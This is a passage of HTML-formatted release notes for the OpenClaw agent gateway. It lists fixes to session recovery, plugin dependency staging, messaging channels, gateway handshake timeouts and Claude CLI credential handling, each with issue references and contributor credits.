<li>ACP/tasks: classify parent-owned ACP sessions as background work regardless of persistent runtime mode, and close terminal stale ACP sessions when no active binding remains, so delegated ACP output reports through the parent task notifier instead of acting like a normal foreground chat session. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344064139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73609" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73609/hovercard" href="https://github.com/openclaw/openclaw/issues/73609">#73609</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joerod26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joerod26">@joerod26</a>.</li>
<li>Tasks: keep terminal mirrored TaskFlow timestamps pinned to task completion time and let maintenance repair stale mirrors, so ACP terminal delivery updates no longer leave inconsistent flow audits. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344064139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73609" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73609/hovercard" href="https://github.com/openclaw/openclaw/issues/73609">#73609</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joerod26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joerod26">@joerod26</a>.</li>
<li>Gateway/sessions: add conservative stuck-session recovery that releases only stale session lanes while active embedded runs, reply operations, and lane tasks remain serialized, so queued follow-ups can drain without aborting legitimate long-running turns. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343463353" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73581" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73581/hovercard" href="https://github.com/openclaw/openclaw/issues/73581">#73581</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344463460" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73655" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73655/hovercard" href="https://github.com/openclaw/openclaw/issues/73655">#73655</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344421059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73652" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73652/hovercard" href="https://github.com/openclaw/openclaw/issues/73652">#73652</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345057984" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73705" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73705/hovercard" href="https://github.com/openclaw/openclaw/issues/73705">#73705</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344394559" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73647" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73647/hovercard" href="https://github.com/openclaw/openclaw/issues/73647">#73647</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343892445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73602" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73602/hovercard" href="https://github.com/openclaw/openclaw/issues/73602">#73602</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343737030" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73592" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73592/hovercard" href="https://github.com/openclaw/openclaw/issues/73592">#73592</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343876260" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73601" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73601/hovercard" href="https://github.com/openclaw/openclaw/issues/73601">#73601</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WS-Q0758/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WS-Q0758">@WS-Q0758</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bryangauvin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bryangauvin">@bryangauvin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/spenceryang1996-dot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/spenceryang1996-dot">@spenceryang1996-dot</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bmilne1981/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bmilne1981">@bmilne1981</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattmcintyre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattmcintyre">@mattmcintyre</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Vksh07/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Vksh07">@Vksh07</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Spolen23/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Spolen23">@Spolen23</a>.</li>
<li>Plugins: cache unchanged plugin manifest loads by file signature, reducing repeated JSON/JSON5 parsing and manifest normalization in bursty startup and runtime registry paths. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342776048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73532/hovercard" href="https://github.com/openclaw/openclaw/issues/73532">#73532</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344394559" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73647" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73647/hovercard" href="https://github.com/openclaw/openclaw/issues/73647">#73647</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344765997" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73678" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73678/hovercard" href="https://github.com/openclaw/openclaw/pull/73678">#73678</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TheDutchRuler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TheDutchRuler">@TheDutchRuler</a>.</li>
<li>Plugins/runtime-deps: cache unchanged bundled runtime mirror dist-file materialization decisions and close file-lock handles on owner-write failures, reducing repeated startup chunk scans and avoiding FileHandle-GC recovery stalls. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342776048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73532/hovercard" href="https://github.com/openclaw/openclaw/issues/73532">#73532</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oadiazp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oadiazp">@oadiazp</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bstanbury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bstanbury">@bstanbury</a>.</li>
<li>Plugins/runtime-deps: retry and defer transient cleanup failures for owned runtime staging directories so CLI startup no longer aborts after a successful bundled dependency swap. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347196394" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73903" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73903/hovercard" href="https://github.com/openclaw/openclaw/issues/73903">#73903</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bobfreeman1989/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bobfreeman1989">@bobfreeman1989</a>.</li>
<li>Plugins/runtime-deps: cache bundled runtime-deps JSON/package files by file signature, reducing repeated staged-runtime metadata reads during bundled channel startup. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344394559" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73647" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73647/hovercard" href="https://github.com/openclaw/openclaw/issues/73647">#73647</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345057984" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73705" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73705/hovercard" href="https://github.com/openclaw/openclaw/issues/73705">#73705</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mattmcintyre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mattmcintyre">@mattmcintyre</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bmilne1981/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bmilne1981">@bmilne1981</a>.</li>
<li>Plugins/runtime-deps: delegate bundled plugin dependency staging to complete npm/pnpm install plans with durable runtime state, removing retained-manifest and source-checkout cache reconciliation from Gateway startup. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342776048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73532/hovercard" href="https://github.com/openclaw/openclaw/issues/73532">#73532</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oadiazp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oadiazp">@oadiazp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bstanbury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bstanbury">@bstanbury</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmfraga/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmfraga">@jmfraga</a>.</li>
<li>Plugins/runtime-deps: replace Gateway-start root chunk dependency inference with explicit mirrored-root dependency metadata, reducing staged runtime scans while preserving lazy per-plugin installs. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342776048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73532/hovercard" href="https://github.com/openclaw/openclaw/issues/73532">#73532</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oadiazp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oadiazp">@oadiazp</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bstanbury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bstanbury">@bstanbury</a>.</li>
<li>Plugins/runtime-deps: run pnpm staged installs outside the repository workspace and disable pnpm release-age gates for exact bundled runtime dependency materialization, so bundled plugin dependency repair writes packages into the generated stage without blocking fresh packaged dependencies. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342776048" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73532" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73532/hovercard" href="https://github.com/openclaw/openclaw/issues/73532">#73532</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/oadiazp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/oadiazp">@oadiazp</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bstanbury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bstanbury">@bstanbury</a>.</li>
<li>CLI/TUI: keep <code>chat.history</code> off model-catalog discovery so initial Gateway-backed TUI history loads cannot block behind slow provider/plugin model scans on low-core hosts. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342748182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73524" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73524/hovercard" href="https://github.com/openclaw/openclaw/issues/73524">#73524</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harshcatsystems-collab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harshcatsystems-collab">@harshcatsystems-collab</a>.</li>
<li>Channels/WhatsApp: flag recently reconnected linked accounts in channel status even when the socket is currently healthy, so flapping WhatsApp Web sessions no longer look clean after a brief reconnect. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343892445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73602" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73602/hovercard" href="https://github.com/openclaw/openclaw/issues/73602">#73602</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Vksh07/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Vksh07">@Vksh07</a>.</li>
<li>Channels/WhatsApp: log shared dispatcher delivery failures with reply kind, message id, chat id, and connection id, so typing-without-send reports can identify whether the WhatsApp send path rejected a generated reply. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349593113" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74269" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74269/hovercard" href="https://github.com/openclaw/openclaw/issues/74269">#74269</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tomcosta-git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tomcosta-git">@tomcosta-git</a>.</li>
<li>Feishu: suppress distinct late <code>final</code> text deliveries after a streaming card has already closed, while keeping media attachments deliverable, so late-finals no longer reopen duplicate Feishu cards. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330083943" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71977" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71977/hovercard" href="https://github.com/openclaw/openclaw/issues/71977">#71977</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331519751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72294" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72294/hovercard" href="https://github.com/openclaw/openclaw/pull/72294">#72294</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MonkeyLeeT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MonkeyLeeT">@MonkeyLeeT</a>.</li>
<li>Gateway: expose <code>gateway.handshakeTimeoutMs</code> in config, schema, and docs while preserving <code>OPENCLAW_HANDSHAKE_TIMEOUT_MS</code> precedence, so loaded or low-powered hosts can tune local WebSocket pre-auth handshakes without patching dist files. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4110188380" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51282" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/51282/hovercard" href="https://github.com/openclaw/openclaw/pull/51282">#51282</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343737030" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73592" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73592/hovercard" href="https://github.com/openclaw/openclaw/issues/73592">#73592</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344421059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73652" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73652/hovercard" href="https://github.com/openclaw/openclaw/issues/73652">#73652</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/henry-the-frog/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/henry-the-frog">@henry-the-frog</a>.</li>
<li>Gateway/TUI/status: align configured and env-based WebSocket handshake budgets across local clients, probes, and fallback RPCs while preserving explicit status timeouts and paired-device auth fallback, so slow local gateways are not marked unreachable by a shorter client watchdog. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342748182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73524" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73524/hovercard" href="https://github.com/openclaw/openclaw/issues/73524">#73524</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342797952" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73535" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73535/hovercard" href="https://github.com/openclaw/openclaw/issues/73535">#73535</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343737030" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73592" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73592/hovercard" href="https://github.com/openclaw/openclaw/issues/73592">#73592</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343892445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73602" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73602/hovercard" href="https://github.com/openclaw/openclaw/issues/73602">#73602</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harshcatsystems-collab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harshcatsystems-collab">@harshcatsystems-collab</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DJBlackhawk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DJBlackhawk">@DJBlackhawk</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Vksh07/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Vksh07">@Vksh07</a>.</li>
<li>Gateway/startup: return retryable <code>UNAVAILABLE</code> during the sidecar startup window and keep CLI/TUI/status clients retrying inside their existing timeout budget, so early connects no longer surface as terminal handshake failures. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344421059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73652" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73652/hovercard" href="https://github.com/openclaw/openclaw/issues/73652">#73652</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/spenceryang1996-dot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/spenceryang1996-dot">@spenceryang1996-dot</a>.</li>
<li>Gateway/proxy: bypass inherited proxy environment for local Gateway control-plane WebSockets to <code>localhost</code> as well as loopback IPs, so Windows/WSL proxy settings cannot intercept local CLI/TUI Gateway connections. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342188777" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73474" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73474/hovercard" href="https://github.com/openclaw/openclaw/pull/73474">#73474</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343892445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73602" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73602/hovercard" href="https://github.com/openclaw/openclaw/issues/73602">#73602</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DhtIsCoding/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DhtIsCoding">@DhtIsCoding</a>.</li>
<li>Doctor/Gateway: use a lightweight <code>status</code> RPC without channel summary work for doctor Gateway liveness, so slow health snapshots do not falsely drive service restart repair. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4240455463" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64400" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64400/hovercard" href="https://github.com/openclaw/openclaw/issues/64400">#64400</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4241956746" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64511" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64511/hovercard" href="https://github.com/openclaw/openclaw/pull/64511">#64511</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CHE10X/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CHE10X">@CHE10X</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EronFan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EronFan">@EronFan</a>.</li>
<li>Agents/auth: scope external CLI credential discovery to configured providers during model auth status and startup prewarm, so opencode-only and other single-provider gateways do not block on unrelated Claude CLI Keychain probes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347237976" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73908" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73908/hovercard" href="https://github.com/openclaw/openclaw/issues/73908">#73908</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ailuras/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ailuras">@Ailuras</a>.</li>
<li>Agents/model selection: resolve slash-form aliases before provider/model parsing and keep alias-resolved primary models subject to transient provider cooldowns, so cron and persisted sessions do not retry cooled-down raw aliases. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343366616" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73573" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73573/hovercard" href="https://github.com/openclaw/openclaw/issues/73573">#73573</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344524821" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73657" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73657/hovercard" href="https://github.com/openclaw/openclaw/issues/73657">#73657</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/akai-shuuichi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/akai-shuuichi">@akai-shuuichi</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hashslingers/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hashslingers">@hashslingers</a>.</li>
<li>Agents/Claude CLI: reuse already-cached macOS Keychain credentials for no-prompt Claude credential reads, so doctor/runtime checks do not miss fresh interactive Claude auth. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344788745" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73682" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73682/hovercard" href="https://github.com/openclaw/openclaw/issues/73682">#73682</a>. Thanks @RyanSandoval.</li>
<li>Agents/Claude CLI doctor: scope workspace and project-dir checks to agents that actually use the Claude CLI runtime, so non-default Claude agents no longer make the default agent look Claude-backed. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347196394" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73903" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73903/hovercard" href="https://github.com/openclaw/openclaw/issues/73903">#73903</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bobfreeman1989/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bobfreeman1989">@bobfreeman1989</a>.</li>
<li>Gateway/sessions: expose effective agent runtime metadata on session rows, <code>sessions.patch</code>, and local <code>openclaw sessions --json</code>, while keeping Claude CLI-backed rows on the canonical model provider so runtime backend and model identity are no longer conflated. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339520660" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73090" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73090/hovercard" href="https://github.com/openclaw/openclaw/issues/73090">#73090</a>. Thanks @vishutdhar.</li>
<li>Gateway/auth status: scope external CLI credential overlays to configured providers, runtimes, or profiles and keep status reads off new Keychain prompts, so single-provider Gateway configs no longer probe unrelated Claude/Codex/MiniMax auth on startup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347237976" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73908" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73908/hovercard" href="https://github.com/openclaw/openclaw/issues/73908">#73908</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ailuras/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ailuras">@Ailuras</a>.</li>
<li>Agents/runtime status: expose effective agent runtime metadata in <code>agents.list</code>, Control UI agent panels, and <code>/agents</code>, and avoid rendering stale or cumulative CLI token totals as live context usage. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344570308" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73660" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73660/hovercard" href="https://github.com/openclaw/openclaw/issues/73660">#73660</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343419061" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73578" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73578/hovercard" href="https://github.com/openclaw/openclaw/issues/73578">#73578</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4072029751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45268" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/45268/hovercard" href="https://github.com/openclaw/openclaw/issues/45268">#45268</a>. Thanks @spartman, @DashLabsDev, and @xyooz.</li>
<li>Agents/transcripts: strip empty assistant text blocks while preserving valid text, images, and signatures, so Anthropic-style providers no longer reject sanitized transcript turns. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344345617" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73640" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73640/hovercard" href="https://github.com/openclaw/openclaw/issues/73640">#73640</a>. Thanks @jowhee327.</li>
<li>Gateway/sessions: preserve session keys on hidden lifecycle events so channel-routed runs still persist terminal session state and do not strand session status as running after Codex turn completion. Thanks @cathrynlavery.</li>
<li>Providers/Bedrock: omit deprecated <code>temperature</code> for Claude Opus 4.7 Bedrock model ids, named and application inference profiles, including dotted <code>opus-4.7</code> refs, and classify the nested validation response for failover. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344649937" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73663" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73663/hovercard" href="https://github.com/openclaw/openclaw/issues/73663">#73663</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bstanbury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bstanbury">@bstanbury</a>.</li>
<li>Gateway: raise the preauth/connect-challenge timeout to 15s so cold CLI starts on slower hosts have more time to process the WebSocket challenge before the Gateway closes the connection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4111642035" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51469" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51469/hovercard" href="https://github.com/openclaw/openclaw/issues/51469">#51469</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343737030" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73592" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73592/hovercard" href="https://github.com/openclaw/openclaw/issues/73592">#73592</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4213272898" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62060/hovercard" href="https://github.com/openclaw/openclaw/pull/62060">#62060</a>. Thanks @GothicFox and @jackychen-png.</li>
